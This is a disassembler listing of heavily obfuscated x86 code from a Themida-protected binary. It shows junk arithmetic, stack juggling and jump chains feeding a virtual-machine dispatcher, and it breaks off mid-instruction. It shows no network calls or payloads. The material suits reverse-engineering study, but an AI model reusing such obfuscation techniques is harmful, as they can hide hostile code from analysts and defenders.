sub_559C84 ; --------------------------------------------------------------------------- loc_553E89: ; CODE XREF: Themida_:005589E1j add dword ptr [esp], 4 pop eax push 7A9h mov [esp], edi push ebx push 3CDE4166h jmp loc_55B317 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55590A loc_553EA1: ; CODE XREF: sub_55590A+6j mov [esp+8+var_8], eax mov eax, 67FA7595h mov ebp, 0F1DEFA37h jmp loc_556F58 ; END OF FUNCTION CHUNK FOR sub_55590A ; =============== S U B R O U T I N E ======================================= sub_553EB3 proc near ; DATA XREF: Themida_:005534A8o var_4 = dword ptr -4 mov ax, [esp+0] sub esp, 4 mov [esp+4+var_4], esi mov esi, esp push ecx push ebx mov ebx, 65C3296Bh jmp loc_55BB05 sub_553EB3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553ECB: ; CODE XREF: sub_559C84-453Aj shr ecx, 1 push edi jmp loc_55AEE2 ; --------------------------------------------------------------------------- loc_553ED3: ; CODE XREF: sub_559C84-691j movzx cx, al push cx pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_553EDF: ; CODE XREF: sub_559C84-780j xor edi, ebx pop ebx and ecx, edi jmp loc_55D493 ; --------------------------------------------------------------------------- loc_553EE9: ; CODE XREF: sub_559C84+671j add ecx, ebp pop ebp and eax, ecx jmp loc_55E9E4 ; --------------------------------------------------------------------------- loc_553EF3: ; CODE XREF: sub_559C84-536Cj mov esi, [esp+2+var_4+2] add esp, 4 jmp loc_55CE06 ; --------------------------------------------------------------------------- loc_553F01: ; CODE XREF: sub_559C84-2B21j add edx, 4 jmp loc_55695D ; --------------------------------------------------------------------------- loc_553F0C: ; CODE XREF: sub_559C84+1968j push edi mov edi, 7F6F35F4h mov ebp, edi pop edi sub ebp, 759E655Ah sub ebp, 6DD621Bh inc ebp sub ebp, 2F36E7Ch push ebx mov ebx, 25CE6EC1h xor ebx, 466B6095h jmp loc_557DB0 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5597C1 loc_553F39: ; CODE XREF: sub_5597C1+4752j shr eax, 0Ch jmp loc_55F156 ; END OF FUNCTION CHUNK FOR sub_5597C1 ; --------------------------------------------------------------------------- loc_553F41: ; CODE XREF: Themida_:0055999Dj sub esp, 4 mov [esp], ebx mov ebx, esp push edi mov edi, 281F1D7Eh not edi jmp loc_55BEC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DC14 loc_553F56: ; CODE XREF: sub_55DC14+9j mov ecx, 3E1C0A55h add ecx, 21B47E1Fh and ecx, 48FD0211h and ecx, 9974195h push edx mov edx, 46762AFDh or ecx, edx pop edx jmp sub_558BA2 ; END OF FUNCTION CHUNK FOR sub_55DC14 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553F7B: ; CODE XREF: sub_559C84+5CC1j dec cl push 2450h jmp loc_55D2EF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_553F87: ; CODE XREF: Themida_:00553B6Dj mov [esp], ebp mov ebp, 1B2F3BB4h jmp loc_5599A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553F94: ; CODE XREF: sub_559C84-2E7Ej sub bl, 80h mov ah, bl mov ebx, [esp+6+var_8+2] add esp, 4 jmp loc_55E6B7 ; --------------------------------------------------------------------------- loc_553FA7: ; CODE XREF: sub_559C84-39AEj push ecx mov ch, 0AAh sub bl, ch pop ecx push edx jmp loc_55CE7D ; --------------------------------------------------------------------------- loc_553FB3: ; CODE XREF: sub_559C84+43E7j pop esp or edx, eax shl edx, 1 jmp loc_55B61B ; --------------------------------------------------------------------------- loc_553FBD: ; CODE XREF: sub_559C84+4CC8j mov ebp, esi pop esi jmp loc_558847 ; --------------------------------------------------------------------------- loc_553FC5: ; CODE XREF: sub_559C84-1E11j pop edi shl edx, 2 jmp loc_555107 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558D95 loc_553FCE: ; CODE XREF: sub_558D95+Cj add al, 8Fh push small 7F77h jmp loc_55EABE ; END OF FUNCTION CHUNK FOR sub_558D95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553FD9: ; CODE XREF: sub_559C84-5E41j add edi, 4 push esi mov esi, 4 add edi, esi pop esi xchg edi, [esp+0] pop esp xchg bh, ch push bx not byte ptr [esp+1] jmp loc_5540AF ; --------------------------------------------------------------------------- loc_553FF9: ; CODE XREF: sub_559C84+5824j shr edx, 1 not edx or edx, 4B4C271Eh add edx, 16197563h sub esp, 4 mov [esp+2+var_4+2], esi push ebp mov ebp, 49A55C87h dec ebp add ebp, 65A336C0h dec ebp neg ebp add ebp, 0FC3EE52Fh mov esi, ebp pop ebp shr esi, 8 sub esi, 0D48DF119h sub eax, 56426EBh add eax, esi add eax, 56426EBh push [esp+2+var_4+2] pop esi add esp, 4 sub eax, edx sub eax, 2BBF0538h pop edx sub esp, 4 mov [esp+0], eax mov eax, esp push 4DB1h mov [esp+2+var_4+2], ebp mov ebp, 4DB87CA2h jmp loc_559334 ; --------------------------------------------------------------------------- loc_55406C: ; CODE XREF: sub_559C84+54Dj add esp, 4 add eax, 0FFFFFFFFh xor eax, 0D1C78FBFh sub [edi+24h], eax push dword ptr [esp+0] mov eax, [esp+2+var_4+2] add esp, 4 add esp, 4 loc_55408F: ; CODE XREF: sub_559C84-104Fj push ebx add dword ptr [esp+0], 1AB47669h jmp loc_55E9A8 ; --------------------------------------------------------------------------- loc_55409C: ; CODE XREF: sub_559C84+2CD8j shl dh, 6 sub esp, 4 jmp loc_55E2AC ; --------------------------------------------------------------------------- loc_5540A7: ; CODE XREF: sub_559C84+4ECj mov edx, [esp+2+var_4+2] jmp loc_55CA06 ; --------------------------------------------------------------------------- loc_5540AF: ; CODE XREF: sub_559C84-5C90j pop bx xchg bh, ch xor byte ptr [esp-4+arg_0], ch xor ch, byte ptr [esp-4+arg_0] xor byte ptr [esp-4+arg_0], ch jmp loc_55A22A ; --------------------------------------------------------------------------- loc_5540C1: ; CODE XREF: sub_559C84+4DBCj push 4635h mov [esp+0], edi push 1 push [esp+4+var_4] pop edi add esp, 4 jmp loc_55F3FE ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557739 loc_5540DA: ; CODE XREF: sub_557739+1Bj pop eax push edx mov edx, esp jmp loc_55CDBC ; END OF FUNCTION CHUNK FOR sub_557739 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5540E3: ; CODE XREF: sub_559C84+193Aj mov ebp, [esp+0] jmp loc_55724D ; --------------------------------------------------------------------------- loc_5540EB: ; CODE XREF: sub_559C84+3E60j push eax mov eax, 2 push edi jmp loc_55B948 ; --------------------------------------------------------------------------- loc_5540F7: ; CODE XREF: sub_559C84+2D26j add ecx, ebx pop ebx add ecx, 4 jmp loc_55BA8B ; --------------------------------------------------------------------------- loc_554102: ; CODE XREF: sub_559C84-3F4Bj add esp, 4 push 72E8h jmp loc_55CDB4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E611 loc_55410F: ; CODE XREF: sub_55E611-4B4j pop edx mov eax, edi pop edi mov ecx, [esp-8+arg_4] add esp, 4 mov ebp, [esp-0Ch+arg_8] add esp, 4 jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_55E611 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554124: ; CODE XREF: sub_559C84+1714j or ebp, 131531ACh dec ebp not ebp jmp loc_55D2C7 ; --------------------------------------------------------------------------- loc_554132: ; CODE XREF: sub_559C84+5491j push esp jmp loc_5554BC ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557B99 loc_554138: ; CODE XREF: sub_557B99+Ej pop ebp xchg edi, [esp+0] pop esp push edx mov dl, al jmp loc_55B6CC ; END OF FUNCTION CHUNK FOR sub_557B99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554145: ; CODE XREF: sub_559C84+41AFj add esi, 76C25830h pop ecx add esi, 4 xchg esi, [esp+4+var_4] jmp loc_55EC82 ; --------------------------------------------------------------------------- loc_55415A: ; CODE XREF: sub_559C84+45E2j add al, 9Dh add al, dl sub al, 9Dh jmp loc_557CF0 ; --------------------------------------------------------------------------- loc_554165: ; CODE XREF: sub_559C84-142j mov esi, 2 add ebx, 387D46E3h sub ebx, 161474BDh add ebx, esi add ebx, 161474BDh jmp loc_55EB1F ; --------------------------------------------------------------------------- loc_554183: ; CODE XREF: sub_559C84+3079j add edi, 4 xchg edi, [esp+4+var_4] pop esp xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] jmp loc_557093 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5591C7 loc_554198: ; CODE XREF: sub_5591C7-786j pop ebx push eax mov eax, 3D294CDCh push edi jmp loc_555414 ; END OF FUNCTION CHUNK FOR sub_5591C7 ; --------------------------------------------------------------------------- loc_5541A5: ; CODE XREF: Themida_:00555B74j mov edx, 7521126Bh jmp loc_55B2FD ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55DAC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5541B8: ; CODE XREF: sub_559C84+40EFj push edi sub esp, 4 jmp loc_55A147 ; --------------------------------------------------------------------------- loc_5541C1: ; CODE XREF: sub_559C84-3F9Cj dec eax jmp loc_55DFF6 ; --------------------------------------------------------------------------- loc_5541C7: ; CODE XREF: sub_559C84+9FBj xor [esp+8+var_4], esi push [esp+8+var_8] mov esi, [esp+0Ch+var_C] add esp, 4 jmp loc_55A3E5 ; --------------------------------------------------------------------------- loc_5541DC: ; CODE XREF: sub_559C84+2546j sub edx, eax pop eax add ecx, edx pop edx xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] pop esp mov cx, word ptr [esp-4+arg_0] sub esp, 4 mov [esp+0], edi mov edi, esp push eax push esi mov esi, 31E75B36h xor esi, 71884902h mov eax, esi pop esi jmp loc_5569E4 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_554210: ; CODE XREF: Themida_:00558E53j pop ecx sub ax, bx sub ax, 7264h push bx sub esp, 4 mov [esp], esi mov si, 688Eh not si dec si push bp mov bp, 75BBh sub si, bp pop bp jmp loc_557A23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E26B loc_554239: ; CODE XREF: sub_55E26B-A8A7j push 2F53h mov [esp+8+var_8], edx push edi mov edi, 4 mov edx, edi pop edi add ebp, edx jmp loc_554679 ; END OF FUNCTION CHUNK FOR sub_55E26B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554251: ; CODE XREF: sub_559C84-1E58j pop eax mov edx, esi pop esi shr edx, 3 sub edx, 41487958h sub esi, 3D54E23h sub esi, edx add esi, 3D54E23h pop edx jmp loc_55F1FD ; --------------------------------------------------------------------------- loc_554272: ; CODE XREF: sub_559C84+1B58j pop edi pop [esp-0Ch+arg_8] jmp loc_55ED2D ; --------------------------------------------------------------------------- loc_55427B: ; CODE XREF: sub_559C84-4C3Ej or ebp, edi mov edi, [esp-10h+arg_C] add esp, 4 shl ebp, 2 add ebp, 1B301A8Fh push ecx mov ecx, 347CB74Fh xor ebp, ecx pop ecx jmp loc_5561EC ; --------------------------------------------------------------------------- loc_55429D: ; CODE XREF: sub_559C84-4BC8j push edi mov edi, 4461CBAh shr edi, 7 add edi, 397C6386h add edi, 57401691h xor edi, 9891412Eh add eax, edi pop edi or eax, 4AF568AAh jmp loc_553956 ; --------------------------------------------------------------------------- loc_5542C5: ; CODE XREF: sub_559C84-492Cj mov [esp-14h+arg_10], ebp jmp loc_55EA1E ; --------------------------------------------------------------------------- loc_5542CD: ; CODE XREF: sub_559C84-8B4j mov [esp-14h+arg_10], ebp sub esp, 4 push esp pop [esp-0Ch+arg_8] add [esp-10h+arg_C], 4 pop ebp push esi mov esi, 5D2A4DC4h xor esi, 5D2A4DC0h add ebp, esi mov esi, [esp-10h+arg_C] jmp loc_55C288 ; --------------------------------------------------------------------------- loc_5542F5: ; CODE XREF: sub_559C84+56DCj mov ecx, [esp-10h+arg_C] add esp, 4 push edi mov edi, 64D97443h add edi, 7CC17590h shl edi, 4 jmp loc_555947 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_554312: ; CODE XREF: Themida_:0055DD6Bj mov cl, ah mov dl, cl mov ecx, [esp] jmp loc_556A5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55431E: ; CODE XREF: sub_559C84+1BA3j push edx mov edx, 1F246464h sub ecx, 6DDF0B46h add ecx, edx add ecx, 6DDF0B46h pop edx pop edx xor ecx, [esp-14h+arg_10] jmp loc_55CEA9 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557976 loc_55433C: ; CODE XREF: sub_557976-16A8j xor dl, 86h neg dl or dl, 3Ch sub dl, 0C1h add al, dl pop edx pop ebx push eax mov al, 5Fh xor al, 58h jmp loc_5590F8 ; END OF FUNCTION CHUNK FOR sub_557976 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554355: ; CODE XREF: sub_559C84-EA5j pop ebp pop eax jmp loc_559E64 ; --------------------------------------------------------------------------- loc_55435C: ; CODE XREF: sub_559C84+1305j mov cl, 0DAh not cl and cl, 6Bh dec cl jmp loc_55AE44 ; --------------------------------------------------------------------------- loc_55436A: ; CODE XREF: sub_559C84-3A52j mov [esp-1Ch+arg_18], edx push esi push 51124BC1h pop esi xor esi, 40361372h sub esi, 1124588Fh mov edx, esi pop esi sub edx, 424A2278h add edx, edi add edx, 424A2278h push ecx push esi mov esi, 0 mov ecx, esi pop esi add ecx, 53BE67FDh sub ecx, 4A2A7913h add ecx, edx add ecx, 4A2A7913h sub ecx, 53BE67FDh push edx mov edx, 0 add edx, ecx add [edx], eax pop edx jmp loc_554ED2 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5543C5: ; CODE XREF: Themida_:00553B4Cj mov cl, 0A7h sub al, 0F9h sub al, cl add al, 0F9h mov cx, [esp] add esp, 2 add al, bl push ebx mov bl, 36h xor bl, 34h add bl, 70h sub bl, 0A5h add bl, 95h shl bl, 5 jmp loc_55571A ; --------------------------------------------------------------------------- add edx, 4 jmp loc_553533 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5543FB: ; CODE XREF: sub_559C84+21B9j mov edi, [esp-18h+arg_14] push ebx jmp loc_55E72F ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_554404 proc near ; CODE XREF: sub_559C84+989j push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55C0D0 sub_554404 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554415: ; CODE XREF: sub_559C84+18F1j push 4FD4h mov [esp-10h+arg_C], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp-10h+arg_C] pop esp xchg ebx, [esp-14h+arg_10] mov esp, [esp-14h+arg_10] shl byte ptr [esp-14h+arg_10], cl pushf jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55443B: ; CODE XREF: Themida_:0055F43Bj xor ebx, [esp] jmp loc_555915 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554452: ; CODE XREF: sub_559C84-36B1j add esp, 4 retn ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- jmp loc_556A2C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55445E: ; CODE XREF: sub_559C84+53E4j push 5516h mov [esp-10h+arg_C], edi mov edi, 1Ch mov eax, edi pop edi sub eax, 539A45AAh add eax, edi add eax, 539A45AAh mov ecx, [eax] push [esp-14h+arg_10] mov eax, [esp-10h+arg_C] push 0C40h mov [esp-0Ch+arg_8], eax jmp loc_55BE9E ; --------------------------------------------------------------------------- loc_55448F: ; CODE XREF: sub_559C84+384Cj not ecx shl ecx, 1 and ecx, 55F92A04h shr ecx, 7 jmp loc_5599EA ; --------------------------------------------------------------------------- loc_5544A1: ; CODE XREF: sub_559C84-6461j mov ebp, edx mov edx, [esp+30h+var_30] add esp, 4 add ebp, 5A0E097Ch add ebp, 59A25848h jmp loc_558DD9 ; --------------------------------------------------------------------------- loc_5544BA: ; CODE XREF: sub_559C84-41Ej mov ecx, 7EFE4EBBh dec ecx or ecx, 5ABA0FFFh inc ecx shl ecx, 2 neg ecx jmp loc_55C486 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5544D1: ; CODE XREF: Themida_:00553AD5j mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 push ebx mov ebx, 4 add ecx, ebx mov ebx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_553C59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5544FB: ; CODE XREF: sub_559C84+30A6j sub edx, 7CF119A6h add edx, edi push edi jmp loc_555A01 ; --------------------------------------------------------------------------- loc_554509: ; CODE XREF: sub_559C84+2C35j mov [esp+30h+var_30], edx mov dl, 0D5h add bl, 0BEh push edx jmp loc_55596C ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_554517 proc near ; DATA XREF: Themida_:0055346Co ; FUNCTION CHUNK AT 00559795 SIZE 00000008 BYTES push esi mov esi, 1 jmp loc_559795 sub_554517 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554522: ; CODE XREF: sub_559C84+18E8j mov al, dl pop edx jmp loc_55E0D9 ; --------------------------------------------------------------------------- loc_55452A: ; CODE XREF: sub_559C84+1243j mov al, bh jmp loc_555C71 ; --------------------------------------------------------------------------- loc_554531: ; CODE XREF: sub_559C84-3263j pop dword ptr [edi+40h] push esi sub esp, 4 jmp loc_557309 ; --------------------------------------------------------------------------- loc_554540: ; CODE XREF: sub_559C84-17A4j mov word ptr [esp+34h+var_34], dx mov dh, 1Ah jmp loc_55491D ; --------------------------------------------------------------------------- loc_55454B: ; CODE XREF: sub_559C84+197Bj pop esp add al, ch jmp loc_55580F ; --------------------------------------------------------------------------- loc_554553: ; CODE XREF: sub_559C84+2774j push [esp+30h+var_30] jmp loc_5545CD ; --------------------------------------------------------------------------- loc_55455B: ; CODE XREF: sub_559C84-5F31j shr ecx, 6 push 5E62h mov [esp+1Ch+var_1C], ebx push edi sub esp, 4 mov [esp+24h+var_24], esi jmp loc_55F752 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_554572 proc near ; CODE XREF: sub_559C84+319Fj arg_0 = dword ptr 4 arg_4 = word ptr 8 ; FUNCTION CHUNK AT 00554835 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00558924 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0055EBE5 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0055ECE9 SIZE 00000017 BYTES push ebx mov ebx, 2 jmp loc_55ECE9 sub_554572 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55457D: ; CODE XREF: sub_559C84-4F69j add [esp+24h+var_20], ecx pop ecx sub [esp+20h+var_20], 37747E56h add [esp+20h+var_20], eax jmp loc_55C23C ; --------------------------------------------------------------------------- loc_554591: ; CODE XREF: sub_559C84-510Dj xor edi, eax xor eax, edi jmp loc_5570D0 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55459A: ; CODE XREF: Themida_:00559BE6j sub esp, 4 mov [esp], ecx mov ecx, 4 jmp loc_55A964 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5545AD: ; CODE XREF: sub_559C84+3964j dec eax neg eax not eax xor eax, 76FD5964h add ecx, eax pop eax push edx mov edx, 4 sub ecx, 6A7041B4h add ecx, edx jmp sub_55991D ; --------------------------------------------------------------------------- loc_5545CD: ; CODE XREF: sub_559C84-572Ej mov eax, [esp+34h+var_34] jmp loc_55D656 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_5545D5: ; CODE XREF: Themida_:00555102j xchg ax, bx xchg ax, [esp] mov dx, [esp] jmp loc_55DA1E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5545E4: ; CODE XREF: sub_559C84-2274j mov eax, [esp+34h+var_34] push 0EA5h mov [esp+38h+var_3A+2], edi push esp pop edi add edi, 4 push 0EBBh mov [esp+3Ch+var_3E+2], ebx push ecx mov ecx, 25312DFCh add ecx, 758229FCh jmp loc_55D3ED ; --------------------------------------------------------------------------- loc_554610: ; CODE XREF: sub_559C84+5EDCj pop edx jmp loc_559DEF ; --------------------------------------------------------------------------- loc_554616: ; CODE XREF: sub_559C84-3B1Bj pop ebx xchg esi, [esp+38h+var_3A+2] pop esp push dword ptr [edi+eax*4] push [esp+38h+var_3A+2] pop eax push 48D8h mov [esp+3Ch+var_3E+2], ebx mov ebx, esp push edi mov edi, 17C327FFh and edi, 0E261309h sub edi, 7D8C0019h jmp loc_55378A ; --------------------------------------------------------------------------- loc_554643: ; CODE XREF: sub_559C84+1144j pop ebp xchg eax, ecx not ecx xchg eax, ecx sub eax, 1AEE36D4h neg eax xor eax, 0B509EA90h add edi, eax pop eax push edx push 48B6h mov [esp+40h+var_42+2], eax mov eax, 49C6579Fh not eax add eax, 49C657A2h push eax xor [esp+44h+var_46+2], 5E4B1DC2h jmp loc_553DB5 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E26B loc_554679: ; CODE XREF: sub_55E26B-A01Fj mov edx, [esp+8+var_8] jmp loc_55B742 ; END OF FUNCTION CHUNK FOR sub_55E26B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554681: ; CODE XREF: sub_559C84+2447j sub eax, ecx pop ecx add ecx, eax pop eax jmp loc_55ACDA ; --------------------------------------------------------------------------- loc_55468C: ; CODE XREF: sub_559C84+1549j shl ecx, 4 add ecx, 209562DFh mov ebx, ecx jmp loc_55F11A ; --------------------------------------------------------------------------- loc_55469C: ; CODE XREF: sub_559C84+40B4j or esi, 7CAA2CDEh jmp loc_553B7B ; --------------------------------------------------------------------------- loc_5546A7: ; CODE XREF: sub_559C84-184Ej push 3859h mov [esp+40h+var_42+2], ebp mov ebp, 4 sub ebx, ebp pop ebp jmp loc_55537E ; --------------------------------------------------------------------------- loc_5546BC: ; CODE XREF: sub_559C84+4215j mov ebp, edi pop edi add ecx, ebp pop ebp xchg ecx, [esp+34h+var_34] mov esp, [esp+34h+var_34] push [esp+34h+var_34] pop eax push 2364h mov [esp+38h+var_3A+2], esi mov esi, esp push ebx mov ebx, 0B257D9Dh push 607h mov [esp+40h+var_42+2], ebx not [esp+40h+var_42+2] pop ebx sub ebx, 1 jmp loc_55641B ; --------------------------------------------------------------------------- loc_5546F0: ; CODE XREF: sub_559C84+49B7j mov edi, 2AEC7804h xchg ecx, edi not ecx xchg ecx, edi or edi, 12ED7F46h jmp loc_55E87C ; --------------------------------------------------------------------------- loc_554706: ; CODE XREF: sub_559C84-CB8j mov [esp+3Ch+var_3E+2], ebx jmp sub_555531 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55470E: ; CODE XREF: Themida_:00555916j mov [esp], esp push 1FDBh mov [esp], ebx mov ebx, 4 jmp loc_557176 ; --------------------------------------------------------------------------- loc_554723: ; CODE XREF: Themida_:005569D8j not dword ptr [esp] jmp loc_55FBB9 ; --------------------------------------------------------------------------- lodsb sub al, 49h add al, 9Eh add al, bl sub al, 9Eh push edx push ax mov ah, 0FAh add ah, 0FFh shr ah, 1 sub ah, 0FBh jmp loc_55F8B9 ; --------------------------------------------------------------------------- loc_554746: ; DATA XREF: Themida_:00553284o push dword ptr [esp] pop ecx push 7359h mov [esp], ecx mov ecx, esp push eax push ebx jmp loc_55E951 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55475B: ; CODE XREF: sub_559C84+399Ej pop ecx push esi push [esp+3Ch+var_3A+2] pop esi pop [esp+3Ch+var_3E+2] pop esp push 60AAh mov [esp+38h+var_3A+2], eax push edx jmp loc_556A16 ; --------------------------------------------------------------------------- loc_554774: ; CODE XREF: sub_559C84+2AC5j movzx eax, al pop small word ptr [edi+eax*4] jmp loc_55351F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp jmp loc_555B71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FA73 loc_55478A: ; CODE XREF: sub_55FA73+Ej push edi jmp loc_55DACE ; END OF FUNCTION CHUNK FOR sub_55FA73 ; =============== S U B R O U T I N E ======================================= sub_554790 proc near ; DATA XREF: Themida_:005534BCo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005538AD SIZE 0000000C BYTES mov ax, [esp+0] push 57CBh mov [esp+4+var_4], edi mov edi, esp jmp loc_5538AD sub_554790 endp ; --------------------------------------------------------------------------- loc_5547A3: ; CODE XREF: Themida_:00555967j push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_556E0B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5547B0 proc near ; CODE XREF: sub_559C84+1E6Aj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005551CB SIZE 00000036 BYTES ; FUNCTION CHUNK AT 00556C4E SIZE 0000000A BYTES push ebp mov ebp, esp push esi jmp loc_5551CB sub_5547B0 endp ; --------------------------------------------------------------------------- loc_5547B9: ; CODE XREF: Themida_:00553A48j xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push dword ptr [esp] mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_55B00F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5547DA: ; CODE XREF: sub_559C84-3638j mov cl, 0EAh shr cl, 2 sub cl, 47h sub cl, 0FCh not cl and cl, 6Bh jmp loc_55EB83 ; --------------------------------------------------------------------------- loc_5547EF: ; CODE XREF: sub_559C84-45Aj add ebx, 0A5309FAh push esi mov esi, 2FA8683Eh shr esi, 1 or esi, 324912B8h xchg ecx, esi not ecx xchg ecx, esi jmp loc_55F4B8 ; --------------------------------------------------------------------------- loc_55480E: ; CODE XREF: sub_559C84-62FCj add al, 0AFh xor al, 2 add bl, 0B5h add bl, al sub bl, 0B5h jmp loc_559470 ; --------------------------------------------------------------------------- loc_55481F: ; CODE XREF: sub_559C84+432Fj pop esi add edx, edi add eax, [edx] push [esp+48h+var_4A+2] pop edx push 696Ah mov [esp+4Ch+var_4E+2], edx jmp loc_554EA1 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554572 loc_554835: ; CODE XREF: sub_554572+A789j pop edi pop dword ptr [esp+0] pop esp mov ax, [esp-8+arg_4] push 72A6h mov [esp-4+arg_0], esi sub esp, 4 mov [esp+0], esp add dword ptr [esp+0], 4 pop esi add esi, 4 jmp loc_558924 ; END OF FUNCTION CHUNK FOR sub_554572 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556F29 loc_55485C: ; CODE XREF: sub_556F29+8442j shl ebx, 8 dec ebx jmp loc_55C72B ; END OF FUNCTION CHUNK FOR sub_556F29 ; --------------------------------------------------------------------------- loc_554865: ; CODE XREF: Themida_:0055FBBAj xchg edx, edi jmp loc_55488A ; --------------------------------------------------------------------------- loc_55486C: ; CODE XREF: Themida_:00555EAFj mov eax, edx mov edx, [esp] add esp, 4 add [esp+4], eax push dword ptr [esp] pop eax add esp, 4 jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_554884: ; CODE XREF: sub_559C84-B0Dj pop esi jmp loc_55D2A7 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55488A: ; CODE XREF: Themida_:00554867j push 0 sub [esp], edi mov edi, [esp] add esp, 4 jmp loc_55E751 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5548A0: ; CODE XREF: sub_559C84+1C1j add ebx, 4 jmp loc_55A8C1 ; --------------------------------------------------------------------------- loc_5548AB: ; CODE XREF: sub_559C84-2AC7j and ebx, 1CD9482Dh jmp loc_557062 ; --------------------------------------------------------------------------- loc_5548B6: ; CODE XREF: sub_559C84+3DC0j sub ebx, 0ADD7B96h add ebx, edi add ebx, 0ADD7B96h sub ebx, 2A2655ABh push 